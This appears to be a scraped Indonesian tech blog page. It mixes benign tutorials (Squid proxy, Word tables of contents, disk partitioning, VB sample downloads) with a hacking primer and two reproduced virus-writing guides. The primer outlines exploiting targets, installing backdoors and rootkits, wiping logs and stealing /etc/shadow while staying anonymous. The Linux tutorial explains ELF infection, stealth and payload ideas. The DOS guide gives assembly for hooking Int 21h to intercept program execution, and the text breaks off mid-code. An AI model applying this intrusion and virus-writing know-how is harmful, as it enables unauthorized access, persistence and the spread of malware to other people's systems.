VB Programming

AccessToMySQL (Convert Database Access ke MySQL) | Download

Game Tetris (Membuat game Tetris dengan VB) | Download

Accounting System (Contoh belajar membuat program Accounting) | Download

Screen Saver (Contoh belajar membuat Screen saver dengan VB) | Download

DirectX_Sample (Contoh belajar membuat Animasi sederhana dengan DirectX) | Download

AnimasiPartikel (Contoh membuat Animasi, partikel yg bergerak kesana-kemari) | Download

Smart_POS (Contoh Program Point Of Sales -Kasir-Penjualan- *lengkap*) | Download

AnimationForm (Sample bagaimana membuat Animasi untuk membuka/tutup Form) | Download

HRMS (Sample Program Payroll/Salary & HR Management) | Download
 
 MagixChat (Sample Program Chating sederhana dengan Winsock) | Download

 Wallpaper Changer (Merubah wallpaper windows otomatis & contoh coding icon di system tray) | Download

CPU Monitor (memonitor aktifitas CPU -seperti di Task Manager-) | Download


SimpanGambarKeField (Menyimpan gambar langsung kedalam database) | Download

Format-Excel (Formating Excel from VB) | Download

Treeview (TreeView Outlook Style) | Download


03-06-2008 | Ebook ASP.NET #1 (Basic asp.net book) | Download

03-06-2008 | Ebook C# 1 (Basic C# .net ebook) | Download

Belajar Hack Yuck! (1) – Konsep Dasar Hacking

Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 carapenetration test yang dilakukan. Waktu itu saya belum banyak tahutools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.
Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.
Bagian 1
*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ‘standar’, hacking sebenarnya tidak harus selalu sesuai dengan ‘standar’ ini.
Hacking buat pemula
- by aCh
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
Pro
Kontra
Etika Hacking
Semua informasi adalah free
Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security
Intrusion adalah ilustrasi kelemahan sistem
Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines
Hacking hanya pada idle machines
idle machines milik siapa ?
science education
hanya membobol tapi tidak merusak
“hacker wannabe” berpotensi sangat besar untuk merusak
Okeh, sekarang waktunya melakukan aksi…
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
– Secara Aktif : – portscanning
– network mapping
– OS Detection
– application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
– via internet registries (informasi domain, IP Addres)
– Website yang menjadi terget
2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.orgmilw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
– Secara berulang melakukan percobaan otentifikasi.
– Menebak username dan password.
– Cracking password file
~ Social Engineering
– Memperdayai user untuk memeberi tahu Username dan password
– Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!
Referensi :
-Hacking and Defense, Jim Geovedi, negative@magnesium.net
-Network Defense, Jim Geovedi, negative@magnesium.net

Mempercepat Browsing dengan Squid

Hasil sharing ilmu ketika Kopdar Hackers-Center di bandung dengan para staff HC waktu itu sedikit membicarakan jaringan dari mulai DDoS, wireless, web security, dll. Dan ada pembahasan dari UnderDos (Admin HC) yang menceritakan manfaat Squid untuk mempercepat browsing (bukan download), kali ini ciebal akan sedikit membahas tentang SQUID.

Untuk pengertian secara ilmiahnya silahkan ke Wikipedia DI SINI, ok udah baca kan pengertiannya? lalu Bagaimana cara kerja squid?
Cara kerjanya adalah membuat cache di local ketika kita browsing, jadi ketika kita hendak browsing kembali maka kita tidak perlu mengakses file-file yang ada di server website sehingga akan memperlambat loading, cukup menggambil data yang terdapat pada cache.
Contoh singkatnya aja, kamu membuka blog ciebal ini yang menampilkan gambar-gambar bahkan flash misalnya, ketika hendak mengakses blog ciebal keduakalinya dengan squid maka kamu tidak perlu lagi mengambil gambar dari server ciebal cukup mengambil dari hardisk kamu. Ini tentu berguna bagi yang menggunakan koneksi memiliki batas kuota. Squid juga dapat digunakan untuk memblokir situs-situs yang tidak layak untuk dibuka, tapi kali ini ciebal gak akan membahasnya, nanti aja deh. hehe..
Ok, itu penjelasan singkatnya sekarang kita mulai melakukan proses installasi squid di WINDOWS15 Mempercepat Browsing dengan Squid
1. Download Squid DI SINI
2. Install Squid seperti install aplikasi pada umumnya
3. Edit squid.conf pada directori C:squidetc. Ubah dengan script brikut ini :
############### Squid.conf #####################
http_port 8080
cache_mem 80 MB
#Recommended minimum configuration:
acl all src 0.0.0.0/0.0.0.0
acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl localnet src 192.168.2.0/255.255.255.0
acl SSL_ports port 443 563
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 563 # https, snews
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT
# Only allow cachemgr access from localhost
http_access allow manager localhost
http_access deny manager
# And finally deny all other access to this proxy
http_access allow localhost
http_access allow localnet
http_access deny all
cache_mgr  ciebal745 at gmail.com
visible_hostname www.ciebal.web.id
#setting utk transparent proxy
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
############### EOF#####################

3. Setting HTTP Proxy pada browser kamu menjadi  127.0.0.1 Port 8080, untuk mozilla Klik Tool > Options > Advanced > Network >Setting
seeting proxy squid Mempercepat Browsing dengan Squid
4. Sekarang coba kamu browsing, pada awalnya memang tidak terasa bedanya tapi setelah kamu mengunjungi website yang kamu tuju ke 2 kali maka akan terlihat perbedaannya..
Untuk melihat lognya kamu buka saja file access.log pada dirC:squidlog
Apabila masih terjadi error pada browser kamu setelah mengganti squid.conf, maka kamu apply new configuration yaitu dengan cata buka All Program > Squid Proxy Server > Apply New Configuration
apply config new Mempercepat Browsing dengan Squid
Nah tunggu aja deh prosesnya, lalu kamu coba akses web apapun, kalau bisa maka pasti akan terditeksi menggunakan proxy127.0.0.1
behind proxy Mempercepat Browsing dengan Squid

Instalasi ASP.NET Web Helpers Library webmatrix

Instalasi ASP.NET Web Helpers Library

webmatrix Instalasi ASP.NET Web Helpers LibraryDitulisan sebelumnya kita sudah membuat halaman web yang dibuat menggunakan WebMatrix, sekarang kita coba meng-instal ASP.Net Web Helper Library, Library ini berisi komponen pembantu yang mempermudah tugas pemrograman ASP.Netnantinya. Anda dapat menemukan daftar semua helper tersedia di halamanhttp://bit.ly/dneDeG
Buka halaman default.cshtml yang sudah anda buat pada bagian sebelumnya, kemudian ganti default.cshtml dengan _admin
Anda akan dibawa ke halaman yg memungkinkan anda untuk mengelola situs anda. Karena ini adalah pertama kalinya Anda login ke halaman _Admin, anda akan diminta untuk membuat kata sandi.
clip image002 thumb Instalasi ASP.NET Web Helpers Library
Setelah anda membuat kata sandi, anda akan masuk ke halaman administrator. Install microsoft-web-helpers.
clip image004 thumb1 Instalasi ASP.NET Web Helpers Library
Jika anda berhasil meng-instalnya akan ada pesan bahwa paket Microsoft web helpers berhasil di install. Jika anda ingin meng-uninstalnya anda bisa masuk ke halaman ini kembali.
clip image006 thumb1 Instalasi ASP.NET Web Helpers Library

5 Detik Membuat Daftar Isi dengan MS Word

Sedikit lebay dengan kata-kata 5 detik cara membuat Daftar Isi pada Microsoft Office Word 2007, tapi memang kenyataannya sangat mudah sekali dan ciebal perkirakan dalam membuat daftar isi ini membutuhkan waktu kurang dari 5 detik. 14 5 Detik Membuat Daftar Isi dengan MS Word

Postingan ini salah satu request salah satu teman saya pada postingan, dan mohon maaf menunggu lama karena kesibukan ciebal juga. hehe..
OK, langsung aja. Untuk membuat daftar isi menjadi lebih cepat dan rapih yang mesti kamu perhatikan sebelumnya adalah format huruf (Styles).
1. Dalam pembuatan Judul format huruf harus H1 atau Heading 1. Ini merupakan standar dalam penulisan judul, baik dalam pembuatan website atau eBook karena dalam pembuatan eBook harus diperhatikan agar bisa memenihi SEO pada eBook. Klik gambar untuk melihat jelas :
heading1 5 Detik Membuat Daftar Isi dengan MS Word
2. Sub Judul, format untuk sub judul harus berformat H2 atau Heading 2. Ini juga merupakan standar penulisan Sub Judul. Klik gambar untuk melihat jelas :
heading2 5 Detik Membuat Daftar Isi dengan MS Word
3. Kalau kamu memiliki sub judul lagi kami bisa menggunakan format H3 atau Heading 3. begitu jugaa seterusnya.
heading3 5 Detik Membuat Daftar Isi dengan MS Word
4. Setelah semua kewajiban yang mesti di penuhi telah dipenuhi, sekarang tinggal proses pembuatan Daftar isinya. Ini adalah inti postingan ciebal kali ini. Klik References >> Table of Contents >> Pilih Format sesuai kebutuhan kamu.
daftarisi gampang 5 Detik Membuat Daftar Isi dengan MS Word
5. Kurang dari 5 detik semua pekerjaan telah selesai dilakukan..
selamat mencoba.. 14 5 Detik Membuat Daftar Isi dengan MS Word
Catatan : Untuk pengguna MS Word 2003, pada langkah nomor 4 perbedaanya adalah Klik Insert >> Reference >> Index and Tableslalu pilih format sesuai kebutuhan kamu.
OK, tutorial cara mudah membuat daftar ini telah selesai. Sekarang ciebal mau promosi dulu yah. hehe.. :P
Makasih..

Membuat Partisi Hardisk di Windows 7

Windows 7 memiliki fitur untuk membuat partisi tanpa harus menginstall software tambahan seperti partion magic, dll. Membuat Partisi di windows 7 juga bsa menggunakan VHD tapi kali ini ciebal coba cara lain tapi gak jauh beda dan tujuannya sama. :P

Untuk membuat partisi baru caranya sangat mudah, berikut langkah-langkahnya :
1. Klik menu start > Klik kanan Computer Manage
partisi1 Membuat Partisi Hardisk di Windows 7
2. Pilih Disk Management Pilih Drive yang ingin dibagi, lalu klik kanan > Pilih Shirink Volume.
partisi2 Membuat Partisi Hardisk di Windows 7
3. Kemudian tentukan jumlah volume yang akan di buat, pada kasus ini saya ingin membuat partisi sebesar 14000MB atau 14GB.
partisi3 Membuat Partisi Hardisk di Windows 7
4. Tunggu sampai proses selesai, kemudian partisi akan bertambah.Klik kanan pada partisi baru > New Simple Volume.
partisi4 Membuat Partisi Hardisk di Windows 7
5. Proses pembuatan drive baru dimulai, klik next untuk melanjutkan.
6. Kita akan diminta untuk menentukan jumlah volume driveyang ingin dibuat.
partisi6 Membuat Partisi Hardisk di Windows 7
7. Kemudian  kita diminta juga untuk menentukan driver letter, silahkan disesuaikan
partisi7 Membuat Partisi Hardisk di Windows 7
8. Selanjutnya kita harus menentukan format drive serta label dari drive yang ingin kita buat.
partisi8 Membuat Partisi Hardisk di Windows 7
9. Klik Finish untuk memproses.
finish Membuat Partisi Hardisk di Windows 7
10. Selesai, jika diminta untuk memformat partisi silahkan format. Tanpa formatpun taka pa. emotion 21 Membuat  Partisi Hardisk di Windows 7

Linux virus writing tutorial


Linux virus writing tutorial
[v1.0 at xx/12/99] 
by mandragore, from Feathered Serpents.

In this paper, I’ll discuss how to make a linux virus. Of course you won’t use this to make one.
1) Prelude
2) Obscure ELF Manipulations
3) Directories Operations
4) Going Further
Before let’s play, lemme tell ya that the enligsh language is not my native one. There are few code here, as many things are theorical (but applicable, don’t fear). Some asm skillz is required, and *nx knowleadge is better. Of course this paper wuz written with vi :)
1) Prelude 
1.1 Linux ASM - gdb is your freind but you should have several others. 
Here i’ll describe what you need, and how to use it.
* At first, get nasm. Start from the url at the 4.3 section to find it.
It comes with nice documentations. (ps/man)
It does not use the AT&T syntax. If you want to use it, try GAS instead.
* Next, you need biew. It’s the linux port of hiew. It’s not very stable, so add the MagicSysRequest kernel-hack to your kernel :)
You should know hiew, so i won’t explain how to use biew.
* You already have the others.
gdb is a pain in the ass, but it can help you.
here are the most usefull functions:
  • info reg : give the registers status
  • x 0xoff : dump [offset] to the screen
  • info files : give the list of section and their virtual address
  • break *0xoff : set a breakpoint
  • help : there’z one way to use gdb per coder.
you can use strip to get some stripped ELFs (for testing purposes) for oldschooler like me, vi is a decent asm editor.
many values, infos, structures are in your kernel srcs. use grep.
The syntax to compil is quiet easy:
nasm -f elf virus.asm
   cc virus.o -o virus
et voila.
1.2 Syscalls interface - syntax, and such boring things. 
Linux assembly is 32 bits, and use syscalls. It’s something between win32 and dos - that’s why i love it. The syscalls are functions called by int 80h. It’s a gate to C libz. eax holds the function number and the others hold the arguments in order: ebx 1st, ecx 2nd, and so on up to ebp, the 7th.
You have the list of the function numberz in /usr/include/asm/unistd.h
For example, opening a file looks like:
mov eax,5  ;  eax = function 5 (open a file)
 mov ebx,fil  ;  ebx = pointer to the file to open
 mov ecx,2  ;  opening flags (0=r/o 1=w/o 2=r/w)
 int 80h   ;  call the stargate
The return is an handle used for subsequent calls, like for dos or win32. Finding syscall usage is not always an easy task. The few docs i found about it are mentionned at the 4.3 section. Return values are stored in eax, or structures pointed by argz. Some syscalls require you to have superuser priviledges.
2) Obscurs ELF Manipulations. 
2.1 Thoses damn structures needed to know. 
I hope you like brut infos :) I won’t describe everything here, as I ripped the stuff from better docs. You’ll find where to get them at the 4.3 section.
ELF format is really flexible; the only fixed part is the ELF header : at BOF. In practice, most of the ELFs you’ll find looks like:
elf_header (34h bytes)
 program_header (6*20h btyes)
 sections 1
 sections 2
 ...
 sections x
 sections_header (x*28h bytes)
Basically, elf_header is used to give general informations about other headers.
struct elf_header
  0  e_ident     - holds the magic values 0x7f,'ELF' and some flags
+10  e_type   - this word contains the file type (core, exe, ...)
+12  e_machine   - give the machine needed for running (3 = x86)
+14  e_version   - ELF header version. Currently 1.
+18  e_entry     - virutal address of entry point. I can see you smiling.
+1c  e_phoff     - program header offset (see below)
+20  e_shoff     - sections header offset (see below)
+24  e_flags     - some other flags (processor specific nfos)
+28  e_ehsize    - size of the ELF header
+2A  e_phentsize - size of one entry in the program header
+2C  e_phnum     - number of entrys in the program header
+2E  e_shentsize - size of one entry in the section header
+30  e_shunum    - number of entrys in the section header
+32  e_shstrndx  - give the entry number of the name string section (if exists)

struct section_header
  0  sh_name      - contains a pointer to the name string section giving the
 +4  sh_type      - give the section type       [name of this section
 +8  sh_flags     - some other flags ...
 +c  sh_addr      - virtual addr of the section while running
+10  sh_offset    - offset of the section in the file
+14  sh_size      - zara white phone numba
+18  sh_link      - his use depends on the section type
+1c  sh_info      - depends on the section type
+20  sh_addralign - alignement
+24  sh_entsize   - used when section contains fixed size entrys

struct program_header
  0  p_type  - type of segment
 +4  p_offset   - offset in file where to start the segment at
 +8  p_vaddr    - his virtual address in memory
 +c  p_addr     - physical address (if relevant, else equ to p_vaddr)
+10  p_filesz   - size of datas read from offset
+14  p_memsz    - size of the segment in memory
+18  p_flags    - segment flags (rwx perms)
+1c  p_align    - alignement
As i said above, i won’t waste your HD space with tons of flag descriptions. You’ll find them in the - nice - ELF documention (urlz at 4.3). Everything is document. It’s the linux world. So use the source dudez !!!
2.2 The mysterys of execution time 
A lotta things happen when executing the file. (don’t forget to check you kernel srcs) The kernel reads the program header and compute segments from the file, then the sections are defined and allocated. You’ll notice the modifications while debugging with gdb: before and after ‘run’ the memory is not in the same state, so set a breakpoint at the virutal entry point to read allocated datas. Finally, miscellanous dynamic values are set.
2.3 the mandragore’z way of smashin the file for phun and profit 
Sorry for this ego abuse, but after all, that’s a nice way to infect ELFs that i’ll describe here, and here’s the story of how i elaborated it.
act one: 
I tryied a lotta things. At first i though that adding a section at EOF and writing my viral code right after should work. The code is no more accessible at run time, so it segmentation faulted :(
act two: 
Then i noticed the hole in virutal memory between the code segment and the data one. But i wuzn’t able to use it (and believe me, i tryied many things). Overwriting not really used section is not safe, so forget it.
act three: 
Finally I decided to look aroung the segments, not the section. Adding a segment wuz possible, but when i tryied to relocate the program header i came in a lot of troubles. So i decided to enlarge one.
As i wanted to code a non-destructive virus, i choose to append to the file, not to overwrite a part of it. The only way then wuz to enlarge a segment. As i append to the file, the only enlargable segment was the data one. The new virtual entry point is easy to calculate from the virutal address of the data segment. I wuz able to run code before the host. I used the old virutal entry point to get back to the host, but it segf’d once again.
act four: 
The data segment size is not the same in memory and in the file. It now contains the rest of the file in memory, with our viral code appended. I thought the segfs came from that. And i wuz right. (for once) The .bss section problem arised. Normally, this section’s flag is SHT_NOBITS. As you’re not talking kernelian, i’ll tell ya what it means: this section should not contain bytes from the programs. But i know understand why the data segment stops just before it in the file; the program bytes are copied in memory up to our code. And the .bss section has to be filled of zero. So i decided to overwrite it w/ zeros at runtime before returning to the host. Once again it segf’d. Damn.
act five: 
With further testing I discovered the role of the .rel sections. Especially the .rel.bss section. At runtime, the beginning of the .bss section containes relocated values. And i did overwrite then. My first attempt to bypass this problem wuz to check the other sections between the .bss file offset and our viral code, and to overwrite it with zeroes. No, i didn’t overwrite the section headers. I’m not so dumb :) When the kernel execute the file, the .bss is already zeroed and the recolation won’t be overwritten. This should work!
The code wuz bigger (computing zeroable section). But once again i got a lotta troubles ; the .bss section if often bigger than the rest of the file. Yes I overwritten my viral code before discovering it.
act six: 
Crashing half of the hosts is not a solution (at least for me). So i took the other solution (may be you already got it) : getting back to the runtime patch and overwrite the .bss section before returning, but avoiding the relocations. Hopefully the relocations things are quiet simple. I included a rutine to get the farest relocation in memory and started to zero the .bss section from there up to the viral code. No. This should have been to easy. Once again i overwritten my viral code.
seventh and final act: 
May be you’re clever than me and already guess why; because of the .bss size. The last thing to do wuz to add a rutine to migrate behind the .bss section in memory before patching it. et voila.
This is a nice story, but it’s not yet ended. A bad point is that’s only applicable to regular ELFs: compiled C, (6 entry in the program header, a .bss section, regular entrys sizes, …) And if you strip an infected ELF, it won’t work anymore. I also encountered some problemz w/ proggyz using the kdelib.
3) Directories Operations 
Now that we can infect files, let’s find some.
3.1 Syscalls needed to seek directories 
For linux, a directory is a file like the others. This is a nice string, but that’s not really true :) You can use the open function to access it, but you can’t read it with the ‘read’ function. You have to use ‘readdir’. Close it with ‘close’. You can’t open it with r/w flags. Open it r/o.
Many syscalls which requires a file descriptor are applicable with a directory descriptor. Thoses descriptorz are called handle in dos/win32. In case it’s not allowed, the syscall return EISDIR (-21). This is a polite way to say “get the hell outta here, it’s a fuckin directory.”
3.2 Searching for files - and find some 
As I not yet ended the way to stay TSR, do it yourself or stay a runtimer linux virus writer. Being a RLVW :) obliges you to seek directories. You can seek the current directory by opening ‘.’ . You can of course access the ‘..’ directory, but beware to not loop when reaching the root. Don’t waste the user time by seeking the common directories filled of ELFs if you’re not suid, so check it before.
4) Going further 
4.1 Implementing hightech functions 
Please don’t waste this promised land with lame viruses. Respect the linux users and don’t fill the world of shit. So add plenty of nice functions. Here are the ten (old) gold rules;
  1. You will use the utime and state syscall to restore the file times.
  2. You will use the fchmod/chmod and state syscall to restore the file flags.
  3. Retro is limited for now.. just avoid infecting goat files.
  4. Always think about using encryption, poly, RDA and such things!
  5. Disguise the file : overwrite the name section and some other useless part of the file to make it harder to work on. (gdb segfs when it opens an ELF w/o a SHT_STRTAB entry in the section header)
  6. You won’t infect unless you’re sure to not bug everything.
  7. Don’t run in the street and scream < i’m writing a linux virus ! >
  8. You will add a nice payloads, nothing destructiv of course.
  9. Don’t be full of yourself. Your viruses are the reflect of yourself.
  10. You will impose yourself a 10th rule. the more are there, the better it is.
4.2 Potentially interesting syscalls 
As you found a lotta great ideas while reading the ralf’s int list, you’ll have some nice one while reading syscalls descriptions. It’s a pitie that it’s not better documented, but i don’t think that many ppl thought it could be usefull. “who will code in asm under linux anyway ?” The umask syscall can be funny in a payload. Adding socket operation can be nice too. Adding a security breach to the system is really tempting. I’m currently looking aroung the ptrace syscall to make a kind of TSRing… But it may has many other interesting implementations. Thanx to kernel panic who pointed it. (in xine 2 or 3, i don’t remember) I’m sure they are a lotta things to do w/ the various signals.
4.3 Cyber-bibliography 
It’s still small for now :/
Most of the stuff will be found here:
(be sure to get the ELF documentation and the syscall descriptions)
http://lightning.voshod.com/asm 
Some other interesting (?) piece of paperz can be found at:
http://bewoner.dma.be/janw/eng.html
And the unix-virus mailing list that i just discovered (thnx to Quantum):
http://virus.beergrave.net
-=( Experienced by mandragore )=-
Last wurdz: 
Greetz to the whole FSA, and in misorder:
Doctor L, mist, darkman, yesna, reptile, raid, billy b., SSR, mammoth, T2, buzz, acidbytes, owl, evul, morphine, gigabyte, and all others.. And to you, linux users: forgive me for having written this paper.
A special though to all arrested vxers. past, present, and futur.
A special handshake to a non-coder friend of mine, YOGI.
Linux is not what it used to be anymore.


Semua virus

Black Wolf’s Guide to Memory Resident Viruses.


    INTRODUCTION:
     A memory resident program (or TSR for Terminate and Stay Resident)
    is a program that leaves at least a portion of itself in memory after it
    terminates and waits for a particular even to take place before it 'activates'
    again.  With DOS, this generally means that it hooks interrupts (BIOS/DOS
    function calls) and waits for a specific keystroke, I/O command, time, etc.
    While this can be useful in many types of programs, it is especially important
    in viral programming.  A virus that remains in memory can spread faster and
    protect itself through 'stealth' abilities that non-resident viruses cannot
    have.  This text will take you through several methods of memory resident
    programming for viruses, assuming a decent level of competency in 8086/8088
    assembly language.
    
    BASICS:
     For starters, we need to know what a program has to do to go
    memory resident.  This can be summed up in 3 basic steps:
    
     1.) Allocate some memory that will NOT be deallocated after the
         virus terminates.  This is necessary so that the virus will not
         be overwritten.
    
     2.) Copy the virus to the allocated memory.
    
     3.) Set up a method in which the virus will eventually be activated,
         generally by hooking BIOS or DOS interrupts.
    
    OVERVIEW OF INTERRUPTS:
     The first thing that we need to know is how interrupts work.
    Interrupts are mainly BIOS and DOS subroutines (functions) that can be
    called by a program (example: Int 21h is the main file I/O interrupt).
    To use them, all one has to do is set up the registers for the desired purpose
    and execute an INT XX, where XX is the interrupt number between 1 and 255.
    What the computer does first when it hits this instruction is push all of the
    flags (PUSHF), then it consults a table at the bottom of memory and executes
    a far call to the address of the appropriate interrupt.  When the interrupt
    is done, it returns to the program by executing an IRET (interrupt return),
    which is a combination of a RETF and a POPF.  To set the interrupt, then,
    merely takes changing that table.  If you want to return to the original
    handler after your code runs, however, you must also save the old values
    and jump there when your code is done.  This is absolutely neccessary with
    handlers like INT 21h, for otherwise nothing that DOS does through this will
    get done, and the computer will crash.
    
    THE INTERRUPT TABLE:
     The Interrupt Table is a table of addresses for the interrupt handler
    code of each interrupt.  It is located at 0000:0000 and ends at 0000:0400.
    Each entry is 4 bytes long, consisting of a word long pointer to the offset
    of the handler followed by a word pointer to the segment of the handler.  This
    setup allows you to calculate the address of an interrupt address by taking the
    entry number and multiplying it by 4.  For example, the Int 21h address
    (the major DOS Interrupt) is located at 0000:0084 (21h*4).  There is a space
    at the end of the interrupt table allocated for user programs to set up their
    own interrupts and for later expansion.  This is basically the upper half,
    starting at 0000:0200.  On my system at least, this is generally free up until
    about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for
    whatever.  This will be look into in more depth later on.....
    
    HOOKING INTERRUPTS:
     There are two basic ways to hook interrupts.  The first, using DOS,
    is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int).
    First what you want to do is call Int 21h with the following setup:
    
     AH = 35h (Get Interrupt Vector)
     AL = Interrupt Number
    
    It returns the following:
    
     AX = Unchanged
     ES = Interrupt Handler Segment
     BX = Interrupt Handler Offset
    
     What you want to do then is store the ES:BX address so that it can
    be used later, and then set the interrupt to point to your handler.  To do
    this call Int 21h again as follows:
    
     AH = 25h (Set Interrupt Vector)
     AL = Interrupt Number
     DS = New Handler Segment
     DX = New Handler Offset
    
    Now that your interrupt is set, you have to do something with it.  Here
    is a basic model for an interrupt hooker with a handler that returns control
    to the original handler after it is done:
    
    ;----------------------------------------------------------------------------
    ;Assume that DS = CS as in a .COM file.
    
    Get_Interrupt_Address:
     mov     ax,3521h        ;Get Old Int 21h Address
     int     21h
    
     mov     word ptr [Int_21_Segment],es    ;Save old address
     mov     word ptr [Int_21_Offset],bx
    
    Set_Interrupt_Address:
     mov     ax,2521h
     mov     dx,offset Int_21_Handler        ;DS:DX = Int_21_Handler
     int     21h                             ;Set the new handler
    
    ;*********** Continue on with program, exit, whatever
    
    Int_21_Handler:
     cmp     ah,4bh                          ;Check for activation
     je      execute_a_program               ;conditions by looking
     cmp     ah,3dh                          ;at the function numbers
     je      open_a_file                     ;of Int 21 that you wish
          ;to intercept.  Make sure
          ;to save any registers that
          ;you change inside the
          ;various handlers!!!!!!
    Go_Int_21:
     db      0eah                            ;This simulates a far jump
    Int_21_Offset   dw      0                       ;to the old interrupt handler.
    Int_21_Segment  dw      0                       ;(0EAh is code for a far jmp.)
    ;----------------------------------------------------------------------------
    
     Notice the trick in Go_Int_21 with the 0EAh.  What that does is
    simulate a far jump to the old handler once your handler is done.  A couple of
    other things that one must do when an interrupt is hooked are as follows:
    
     1.) Make sure to push/pop any registers that get changed!!!!!
         Otherwise the results are unpredictable.
    
     2.) Make sure that your interrupt handler does not call the function
         that is has hooked directly.  I.E. if you hook Int 21h, function
         3dh to open files, do not put an Int 21h, function 3dh inside
         the handler for it, as it will call the handler again, and again,
         and again......   Instead, call the interrupt indirectly by
         calling the ORIGINAL address with code like the following:
    
     Call_Int_21h:
      pushf                           ;push the flags and perform
      call dword ptr [Int_21_Offset]  ;a far call to simulate an
          ;INT call.
    
    ALTERNATIVE METHOD:
     The other way to hook interrupts is by directly changing the table.
    This can be done very easily, but you MUST remember to disable the interrupts
    before doing so, then enable them afterwords.  Otherwise, the interrupt could
    possibly be called when only half of the address was set, creating unpredictable
    results.  See the following example:
    
    ;----------------------------------------------------------------------------
    Set_DS_to_Table:                        ;DS = 0
     xor     ax,ax
